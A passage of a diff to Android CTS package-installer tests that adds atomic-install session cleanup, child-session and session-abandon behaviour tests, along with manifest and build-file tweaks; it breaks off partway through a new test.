-          package="android.packageinstaller.admin.cts" >
+     package="android.packageinstaller.admin.cts">
 
-    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
-    <application android:label="Cts Admin Package Installer Test" android:testOnly="true">
+    <application android:label="Cts Admin Package Installer Test"
+         android:testOnly="true">
         <uses-library android:name="android.test.runner"/>
 
-        <receiver
-            android:name=".BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name=".BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <activity android:name=".LauncherActivity">
+        <activity android:name=".LauncherActivity"
+             android:exported="true">
             <intent-filter android:priority="-999">
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.HOME" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.HOME"/>
             </intent-filter>
         </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:functionalTest="true"
-                     android:targetPackage="android.packageinstaller.admin.cts"
-                     android:label="External App Sources Tests"/>
+         android:functionalTest="true"
+         android:targetPackage="android.packageinstaller.admin.cts"
+         android:label="External App Sources Tests"/>
 </manifest>
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
index 28ec019..d1d52a1 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
+++ b/tests/tests/packageinstaller/adminpackageinstaller/src/android/packageinstaller/admin/cts/BasePackageInstallTest.java
@@ -196,7 +196,7 @@
                 mContext,
                 sessionId,
                 broadcastIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pendingIntent.getIntentSender();
     }
 
diff --git a/tests/tests/packageinstaller/atomicinstall/Android.bp b/tests/tests/packageinstaller/atomicinstall/Android.bp
index 00dc48e..1093070 100644
--- a/tests/tests/packageinstaller/atomicinstall/Android.bp
+++ b/tests/tests/packageinstaller/atomicinstall/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsAtomicInstallTestCases",
 
@@ -25,6 +21,8 @@
         ":AtomicInstallCorrupt"
     ],
     static_libs: [
+        "androidx.annotation_annotation",
+        "androidx.core_core",
         "androidx.test.runner",
         "truth-prebuilt",
 	"cts-install-lib",
diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
index 1f8f283..457b7ef 100644
--- a/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/atomicinstall/AndroidManifest.xml
@@ -18,8 +18,6 @@
           package="com.android.tests.atomicinstall" >
 
     <application>
-        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
-                  android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
index 6ab9d5a..79ea698 100644
--- a/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/atomicinstall/AndroidTest.xml
@@ -27,8 +27,10 @@
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
         <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
+        <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.C" />
         <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
         <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
+        <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.C" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
index 8c1623d..7c53349 100644
--- a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
+++ b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/AtomicInstallTest.java
@@ -29,6 +29,7 @@
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.compatibility.common.util.SystemUtil;
 import com.android.cts.install.lib.Install;
 import com.android.cts.install.lib.InstallUtils;
 import com.android.cts.install.lib.LocalIntentSender;
@@ -41,11 +42,22 @@
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
+import java.util.function.Predicate;
+import java.util.function.Supplier;
+
 /**
  * Tests for multi-package (a.k.a. atomic) installs.
  */
 @RunWith(JUnit4.class)
 public class AtomicInstallTest {
+    /**
+     * Time between repeated checks in {@link #retry}.
+     */
+    private static final long RETRY_CHECK_INTERVAL_MILLIS = 500;
+    /**
+     * Maximum number of checks in {@link #retry} before a timeout occurs.
+     */
+    private static final long RETRY_MAX_INTERVALS = 20;
 
     public static final String TEST_APP_CORRUPT_FILENAME = "corrupt.apk";
     private static final TestApp CORRUPT_TESTAPP = new TestApp(
@@ -63,7 +75,7 @@
     public void setup() throws Exception {
         adoptShellPermissions();
 
-        Uninstall.packages(TestApp.A, TestApp.B);
+        Uninstall.packages(TestApp.A, TestApp.B, TestApp.C);
     }
 
     @After
@@ -74,6 +86,60 @@
                 .dropShellPermissionIdentity();
     }
 
+    /**
+     * Cleans up sessions that are not committed during tests.
+     */
+    @After
+    public void cleanUpSessions() {
+        InstallUtils.getPackageInstaller().getMySessions().forEach(info -> {
+            try {
+                InstallUtils.getPackageInstaller().abandonSession(info.getSessionId());
+            } catch (Exception ignore) {
+            }
+        });
+    }
+
+    private static <T> T retry(Supplier<T> supplier, Predicate<T> predicate, String message)
+            throws InterruptedException {
+        for (int i = 0; i < RETRY_MAX_INTERVALS; i++) {
+            T result = supplier.get();
+            if (predicate.test(result)) {
+                return result;
+            }
+            Thread.sleep(RETRY_CHECK_INTERVAL_MILLIS);
+        }
+        throw new AssertionError(message);
+    }
+
+    /**
+     * Tests a completed session should be cleaned up.
+     */
+    @Test
+    public void testSessionCleanUp_Single() throws Exception {
+        int sessionId = Install.single(TestApp.A1).commit();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
+        // The session is cleaned up asynchronously after install completed.
+        // Retry until the session no longer exists.
+        retry(() -> InstallUtils.getPackageInstaller().getSessionInfo(sessionId),
+                info -> info == null,
+                "Session " + sessionId + " not cleaned up");
+    }
+
+    /**
+     * Tests a completed session should be cleaned up.
+     */
+    @Test
+    public void testSessionCleanUp_Multi() throws Exception {
+        int sessionId = Install.multi(TestApp.A1, TestApp.B1).commit();
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
+        // The session is cleaned up asynchronously after install completed.
+        // Retry until the session no longer exists.
+        retry(() -> InstallUtils.getPackageInstaller().getSessionInfo(sessionId),
+                info -> info == null,
+                "Session " + sessionId + " not cleaned up");
+    }
+
     @Test
     public void testInstallTwoApks() throws Exception {
         Install.multi(TestApp.A1, TestApp.B1).commit();
@@ -81,6 +147,31 @@
         assertThat(getInstalledVersion(TestApp.B)).isEqualTo(1);
     }
 
+    /**
+     * Tests a removed child shouldn't be installed.
+     */
+    @Test
+    public void testRemoveChild() throws Exception {
+        assertThat(getInstalledVersion(TestApp.A)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
+        assertThat(getInstalledVersion(TestApp.C)).isEqualTo(-1);
+
+        int parentId = Install.multi(TestApp.A1).createSession();
+        int childBId = Install.single(TestApp.B1).createSession();
+        int childCId = Install.single(TestApp.C1).createSession();
+        try (PackageInstaller.Session parent = openPackageInstallerSession(parentId)) {
+            parent.addChildSessionId(childBId);
+            parent.addChildSessionId(childCId);
+            parent.removeChildSessionId(childBId);
+            LocalIntentSender sender = new LocalIntentSender();
+            parent.commit(sender.getIntentSender());
+            InstallUtils.assertStatusSuccess(sender.getResult());
+            assertThat(getInstalledVersion(TestApp.A)).isEqualTo(1);
+            assertThat(getInstalledVersion(TestApp.B)).isEqualTo(-1);
+            assertThat(getInstalledVersion(TestApp.C)).isEqualTo(1);
+        }
+    }
+
     @Test
     public void testInstallTwoApksDowngradeFail() throws Exception {
         Install.multi(TestApp.A2, TestApp.B1).commit();
@@ -139,6 +230,117 @@
     }
 
     @Test
+    public void testInvalidStateScenario_MultiSessionCantBeApex() throws Exception {
+        try {
+            SystemUtil.runShellCommandForNoOutput("pm bypass-staged-installer-check true");
+            PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
+                    PackageInstaller.SessionParams.MODE_FULL_INSTALL);
+            params.setMultiPackage();
+            params.setInstallAsApex();
+            params.setStaged();
+            try {
+                InstallUtils.getPackageInstaller().createSession(params);
+                fail("Should not be able to create a multi-session set as APEX!");
+            } catch (Exception ignore) {
+            }
+        } finally {
+            SystemUtil.runShellCommandForNoOutput("pm bypass-staged-installer-check false");
+        }
+    }
+
+    /**
+     * Tests a single-session can't have child.
+     */
+    @Test
+    public void testInvalidStateScenario_AddChildToSingleSessionShouldFail() throws Exception {
+        int parentId = Install.single(TestApp.A1).createSession();
+        int childId = Install.single(TestApp.B1).createSession();
+        try (PackageInstaller.Session parent = openPackageInstallerSession(parentId)) {
+            try {
+                parent.addChildSessionId(childId);
+                fail("Should not be able to add a child session to a single-session!");
+            } catch (Exception ignore) {
+            }
+        }
+    }
+
+    /**
+     * Tests a multi-session can't be a child.
+     */
+    @Test
+    public void testInvalidStateScenario_MultiSessionAddedAsChildShouldFail() throws Exception {
+        int parentId = Install.multi(TestApp.A1).createSession();
+        int childId = Install.multi(TestApp.B1).createSession();
+        try (PackageInstaller.Session parent = openPackageInstallerSession(parentId)) {
+            try {
+                parent.addChildSessionId(childId);
+                fail("Should not be able to add a multi-session as a child!");
+            } catch (Exception ignore) {
+            }
+        }
+    }
+
+    /**
+     * Tests a committed session can't add child.
+     */
+    @Test
+    public void testInvalidStateScenario_AddChildToCommittedSessionShouldFail() throws Exception {
+        int parentId = Install.multi(TestApp.A1).createSession();
+        int childId = Install.single(TestApp.B1).createSession();
+        try (PackageInstaller.Session parent = openPackageInstallerSession(parentId)) {
+            LocalIntentSender sender = new LocalIntentSender();
+            parent.commit(sender.getIntentSender());
+            try {
+                parent.addChildSessionId(childId);
+                fail("Should not be able to add child to a committed session");
+            } catch (Exception ignore) {
+            }
+        }
+    }
+
+    /**
+     * Tests a committed session can't remove child.
+     */
+    @Test
+    public void testInvalidStateScenario_RemoveChildFromCommittedSessionShouldFail()
+            throws Exception {
+        int parentId = Install.multi(TestApp.A1).createSession();
+        int childId = Install.single(TestApp.B1).createSession();
+        try (PackageInstaller.Session parent = openPackageInstallerSession(parentId)) {
+            parent.addChildSessionId(childId);
+            LocalIntentSender sender = new LocalIntentSender();
+            parent.commit(sender.getIntentSender());
+            try {
+                parent.removeChildSessionId(childId);
+                fail("Should not be able to remove child from a committed session");
+            } catch (Exception ignore) {
+            }
+        }
+    }
+
+    /**
+     * Tests removing a child that is not its own should do nothing.
+     */
+    @Test
+    public void testInvalidStateScenario_RemoveWrongChildShouldDoNothing() throws Exception {
+        int parent1Id = Install.multi(TestApp.A1).createSession();
+        int parent2Id = Install.multi(TestApp.C1).createSession();
+        int childId = Install.single(TestApp.B1).createSession();
+        try (PackageInstaller.Session parent1 = openPackageInstallerSession(parent1Id);
+             PackageInstaller.Session parent2 = openPackageInstallerSession(parent2Id);) {
+            parent1.addChildSessionId(childId);
+            // Should do nothing since the child doesn't belong to parent2
+            parent2.removeChildSessionId(childId);
+            int currentParentId =
+                    InstallUtils.getPackageInstaller().getSessionInfo(childId).getParentSessionId();
+            // Check this child still belongs to parent1
+            assertThat(currentParentId).isEqualTo(parent1Id);
+            assertThat(parent1.getChildSessionIds()).asList().contains(childId);
+            assertThat(parent2.getChildSessionIds()).asList().doesNotContain(childId);
+        }
+    }
+
+    @Test
     public void testInvalidStateScenarios() throws Exception {
         int parentSessionId = Install.multi(TestApp.A1, TestApp.B1).createSession();
         try (PackageInstaller.Session parentSession =
@@ -147,7 +349,8 @@
                 try (PackageInstaller.Session childSession =
                              openPackageInstallerSession(childSessionId)) {
                     try {
-                        childSession.commit(LocalIntentSender.getIntentSender());
+                        LocalIntentSender sender = new LocalIntentSender();
+                        childSession.commit(sender.getIntentSender());
                         fail("Should not be able to commit a child session!");
                     } catch (IllegalStateException e) {
                         // ignore
@@ -172,8 +375,9 @@
                 }
             }
 
-            parentSession.commit(LocalIntentSender.getIntentSender());
-            assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+            LocalIntentSender sender = new LocalIntentSender();
+            parentSession.commit(sender.getIntentSender());
+            assertStatusSuccess(sender.getResult());
         }
     }
 
@@ -186,6 +390,6 @@
     }
 
     private static void assertInconsistentSettings(String failMessage, Install install) {
-        InstallUtils.commitExpectingFailure(AssertionError.class, failMessage, install);
+        InstallUtils.commitExpectingFailure(IllegalStateException.class, failMessage, install);
     }
 }
diff --git a/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/SessionAbandonBehaviorTest.java b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/SessionAbandonBehaviorTest.java
new file mode 100644
index 0000000..13324e3
--- /dev/null
+++ b/tests/tests/packageinstaller/atomicinstall/src/com/android/tests/atomicinstall/SessionAbandonBehaviorTest.java
@@ -0,0 +1,596 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.tests.atomicinstall;
+
+import static com.android.compatibility.common.util.MatcherUtils.assertThrows;
+import static com.android.compatibility.common.util.MatcherUtils.hasMessageThat;
+import static com.android.compatibility.common.util.MatcherUtils.instanceOf;
+import static com.android.cts.install.lib.InstallUtils.openPackageInstallerSession;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.hamcrest.CoreMatchers.containsString;
+
+import android.Manifest;
+import android.content.pm.PackageInstaller;
+import android.os.Handler;
+import android.os.HandlerThread;
+
+import androidx.annotation.NonNull;
+import androidx.core.util.Preconditions;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.AdoptShellPermissionsRule;
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.TestName;
+import org.junit.runner.RunWith;
+
+import java.io.Closeable;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * There are the following factors need to combine for testing the abandon behavior.
+ * <ul>
+ *     <li>staged vs. noStaged</li>
+ *     <li>Single Package vs. MultiPackage</li>
+ *     <li>Receive callback, Session Info abandoned, getNames, openWrite, open abandoned session
+ *     etc.</li>
+ * </ul>*
+ */
+@RunWith(AndroidJUnit4.class)
+public class SessionAbandonBehaviorTest {
+    /**
+     * Please don't change too small to ensure the test run normally.
+     */
+    public static final int CALLBACK_TIMEOUT_SECONDS = 10;
+
+    /**
+     * To wait 1 second prevents the race condition from the framework services.
+     * The child session is cleaned up asynchronously after abandoning the parent session. Even
+     * if receiving the callback to tell the session is finished, it may be the race condition
+     * between executing {@link PackageInstaller#getSessionInfo(int)} and cleaning up the
+     * {@link android.content.pm.PackageInstaller.Session}.
+     */
+    public static final long PREVENT_RACE_CONDITION_TIMEOUT_SECONDS = TimeUnit.SECONDS.toMillis(1);
+    private static final byte[] PLACE_HOLDER_STRING_BYTES = "Place Holder".getBytes();
+
+    /**
+     * This is a wrapper class to let the test easier to focus on the "onFinish". It implements
+     * all of abstract methods with nothing in {@link PackageInstaller.SessionCallback} except for
+     * onFinish function.
+     */
+    private static class AbandonSessionCallBack extends PackageInstaller.SessionCallback {
+        private final CountDownLatch mCountDownLatch;
+        private final List<Integer> mSessionIds;
+
+        AbandonSessionCallBack(CountDownLatch countDownLatch, int[] sessionIds) {
+            mCountDownLatch = countDownLatch;
+            mSessionIds = new ArrayList<>();
+            for (int sessionId : sessionIds) {
+                mSessionIds.add(sessionId);
+            }
+        }
+
+        AbandonSessionCallBack(CountDownLatch countDownLatch, int sessionId) {
+            this(countDownLatch, new int[]{sessionId});
+        }
+
+        @Override
+        public void onCreated(int sessionId) {
+            /* Do nothing to make sub class no need to implement it*/
+        }
+
+        @Override
+        public void onBadgingChanged(int sessionId) {
+            /* Do nothing to make sub class no need to implement it*/
+        }
+
+        @Override
+        public void onActiveChanged(int sessionId, boolean active) {
+            /* Do nothing to make sub class no need to implement it*/
+        }
+
+        @Override
+        public void onProgressChanged(int sessionId, float progress) {
+            /* Do nothing to make sub class no need to implement it*/
+        }
+
+        @Override
+        public void onFinished(int sessionId, boolean success) {
+            if (!success) {
+                if (mSessionIds.contains(sessionId)) {
+                    mCountDownLatch.countDown();
+                }
+            }
+        }
+    }
+
+    @Rule
+    public final AdoptShellPermissionsRule mAdoptShellPermissionsRule =
+            new AdoptShellPermissionsRule(
+                    InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                    Manifest.permission.INSTALL_PACKAGES, Manifest.permission.DELETE_PACKAGES);
+
+    @Rule
+    public final TestName mTestName = new TestName();
+
+    private final List<PackageInstaller.SessionCallback> mSessionCallbacks = new ArrayList<>();
+
+    private Handler mHandler;
+    private HandlerThread mHandlerThread;
+    private List<Closeable> mCloseableList = new ArrayList<>();
+
+    @After
+    public void tearDown() {
+        for (Closeable closeable : mCloseableList) {
+            try {
+                closeable.close();
+            } catch (IOException e) {
+                /* ensure close the resources and do no nothing */
+            }
+        }
+
+        for (PackageInstaller.SessionCallback sessionCallback : mSessionCallbacks) {
+            InstallUtils.getPackageInstaller().unregisterSessionCallback(sessionCallback);
+        }
+        mSessionCallbacks.clear();
+
+        if (mHandlerThread != null) {
+            mHandlerThread.quit();
+        }
+    }
+
+
+    /**
+     * To help the test to register the {@link PackageInstaller.SessionCallback} easier and the
+     * parameter {@link PackageInstaller.SessionCallback} will unregister after the end of the
+     * test.
+     *
+     * @param sessionCallback registers by the {@link PackageInstaller}
+     */
+    private void registerSessionCallbacks(
+            @NonNull PackageInstaller.SessionCallback sessionCallback) {
+        Preconditions.checkNotNull(sessionCallback);
+        Preconditions.checkArgument(!mSessionCallbacks.contains(sessionCallback),
+                "The callback has registered.");
+
+        if (mHandler == null) {
+            mHandlerThread = new HandlerThread(mTestName.getMethodName());
+            mHandlerThread.start();
+            mHandler = new Handler(mHandlerThread.getLooper());
+        }
+
+        InstallUtils.getPackageInstaller().registerSessionCallback(sessionCallback, mHandler);
+        mSessionCallbacks.add(sessionCallback);
+    }
+
+    /**
+     * To get all of child session IDs.
+     *
+     * @param parentSessionId the parent session id
+     * @return the array of child session IDs
+     * @throws IOException caused by opening parent session fail.
+     */
+    private int[] getChildSessionIds(int parentSessionId) throws IOException {
+        try (PackageInstaller.Session parentSession =
+                     openPackageInstallerSession(parentSessionId)) {
+            return parentSession.getChildSessionIds();
+        }
+    }
+
+    private static List<PackageInstaller.SessionInfo> getAllChildSessions(int[] sessionIds) {
+        List<PackageInstaller.SessionInfo> result = new ArrayList<>();
+        for (int sessionId : sessionIds) {
+            final PackageInstaller.SessionInfo session =
+                    InstallUtils.getPackageInstaller().getSessionInfo(sessionId);
+            if (session != null) {
+                result.add(session);
+            }
+        }
+        return result;
+    }
+
+    /**
+     * To open the specified session.
+     * <p>
+     * The opened resources will be closed in {@link #tearDown()} automatically.
+     * </p>
+     *
+     * @param sessionId the session want to open
+     * @return the opened {@link PackageInstaller.Session} instance
+     * @throws IOException caused by opening {@link PackageInstaller.Session} fail.
+     */
+    private PackageInstaller.Session openSession(int sessionId) throws IOException {
+        PackageInstaller.Session session = openPackageInstallerSession(sessionId);
+        mCloseableList.add(session);
+
+        return session;
+    }
+
+    /**
+     * To open and write the file for the specified session.
+     * <p>
+     * The opened resources will be closed in {@link #tearDown()} automatically.
+     * </p>
+     *
+     * @param sessionId the session want to open
+     * @param fileName  the expected file name
+     * @return the opened {@link OutputStream} instance
+     * @throws IOException caused by opening file fail.
+     */
+    private OutputStream openSessionForWrite(int sessionId, String fileName) throws IOException {
+        PackageInstaller.Session session = openSession(sessionId);
+        OutputStream os = session.openWrite(fileName, 0, -1);
+        mCloseableList.add(os);
+
+        return os;
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        Uninstall.packages(TestApp.A, TestApp.B);
+    }
+
+    @Test
+    public void abandon_stagedSession_shouldReceiveAbandonCallBack()
+            throws Exception {
+        final int sessionId = Install.single(TestApp.A1).setStaged().createSession();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, sessionId));
+
+        InstallUtils.getPackageInstaller().abandonSession(sessionId);
+
+        assertThat(
+                countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS)).isTrue();
+    }
+
+    @Test
+    public void abandon_nonStagedSession_shouldReceiveAbandonCallBack()
+            throws Exception {
+        final int sessionId = Install.single(TestApp.A1).createSession();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, sessionId));
+
+        InstallUtils.getPackageInstaller().abandonSession(sessionId);
+
+        assertThat(
+                countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS)).isTrue();
+    }
+
+
+    @Test
+    public void abandon_stagedSession_openedSession_canNotGetNames()
+            throws Exception {
+        final int sessionId = Install.single(TestApp.A1).setStaged().createSession();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        final PackageInstaller.Session session = openSession(sessionId);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, sessionId));
+
+        InstallUtils.getPackageInstaller().abandonSession(sessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString("getNames not allowed"))),
+                () -> session.getNames());
+    }
+
+    @Test
+    public void abandon_nonStagedSession_openedSession_canNotGetNames()
+            throws Exception {
+        final int sessionId = Install.single(TestApp.A1).createSession();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        final PackageInstaller.Session session = openSession(sessionId);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, sessionId));
+
+        InstallUtils.getPackageInstaller().abandonSession(sessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString("getNames not allowed"))),
+                () -> session.getNames());
+    }
+
+    @Test
+    public void abandon_stagedSession_openForWriting_shouldFail()
+            throws Exception {
+        final int sessionId = Install.single(TestApp.A1).setStaged().createSession();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, sessionId));
+        final OutputStream outputStream = openSessionForWrite(sessionId,
+                mTestName.getMethodName());
+
+        InstallUtils.getPackageInstaller().abandonSession(sessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(IOException.class,
+                hasMessageThat(containsString("write failed"))),
+                () -> outputStream.write(PLACE_HOLDER_STRING_BYTES));
+    }
+
+    @Test
+    public void abandon_nonStagedSession_openForWriting_shouldFail()
+            throws Exception {
+        final int sessiondId = Install.single(TestApp.A1).createSession();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, sessiondId));
+        final OutputStream outputStream = openSessionForWrite(sessiondId,
+                mTestName.getMethodName());
+
+        InstallUtils.getPackageInstaller().abandonSession(sessiondId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(IOException.class,
+                hasMessageThat(containsString("write failed"))),
+                () -> outputStream.write(PLACE_HOLDER_STRING_BYTES));
+    }
+
+    @Test
+    public void abandon_stagedSession_canNotOpenAgain()
+            throws Exception {
+        final int sessionId = Install.single(TestApp.A1).setStaged().createSession();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, sessionId));
+
+        InstallUtils.getPackageInstaller().abandonSession(sessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString(String.valueOf(sessionId)))),
+                () -> InstallUtils.getPackageInstaller().openSession(sessionId));
+    }
+
+    @Test
+    public void abandon_nonStagedSession_canNotOpenAgain()
+            throws Exception {
+        final int sessionId = Install.single(TestApp.A1).createSession();
+        final CountDownLatch countDownLatch = new CountDownLatch(1);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, sessionId));
+
+        InstallUtils.getPackageInstaller().abandonSession(sessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString(String.valueOf(sessionId)))),
+                () -> InstallUtils.getPackageInstaller().openSession(sessionId));
+    }
+
+    @Test
+    public void abandon_stagedParentSession_shouldReceiveAllChildrenAbandonCallBack()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1,
+                TestApp.B1).setStaged().createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+
+        assertThat(
+                countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS)).isTrue();
+    }
+
+    @Test
+    public void abandon_nonStagedParentSession_shouldReceiveAllChildrenAbandonCallBack()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1, TestApp.B1).createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+
+        assertThat(
+                countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS)).isTrue();
+    }
+
+    @Test
+    public void abandon_stagedParentSession_shouldAbandonAllChildrenSessions()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1, TestApp.B1)
+                .setStaged().createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        // The child session is cleaned up asynchronously after abandoning the parent session.
+        PollingCheck.check("The result should be an empty list.",
+                PREVENT_RACE_CONDITION_TIMEOUT_SECONDS,
+                () -> getAllChildSessions(childSessionIds).isEmpty());
+    }
+
+    @Test
+    public void abandon_nonStagedParentSession_shouldAbandonAllChildrenSessions()
+            throws Exception {
+        final int parentSessionId = Install.multi(TestApp.A1, TestApp.B1).createSession();
+        final int[] childSessionIds = getChildSessionIds(parentSessionId);
+        final CountDownLatch countDownLatch = new CountDownLatch(childSessionIds.length);
+        registerSessionCallbacks(
+                new AbandonSessionCallBack(countDownLatch, childSessionIds));
+
+        InstallUtils.getPackageInstaller().abandonSession(parentSessionId);
+        countDownLatch.await(CALLBACK_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+
+        // The child session is cleaned up asynchronously after abandoning the parent session.
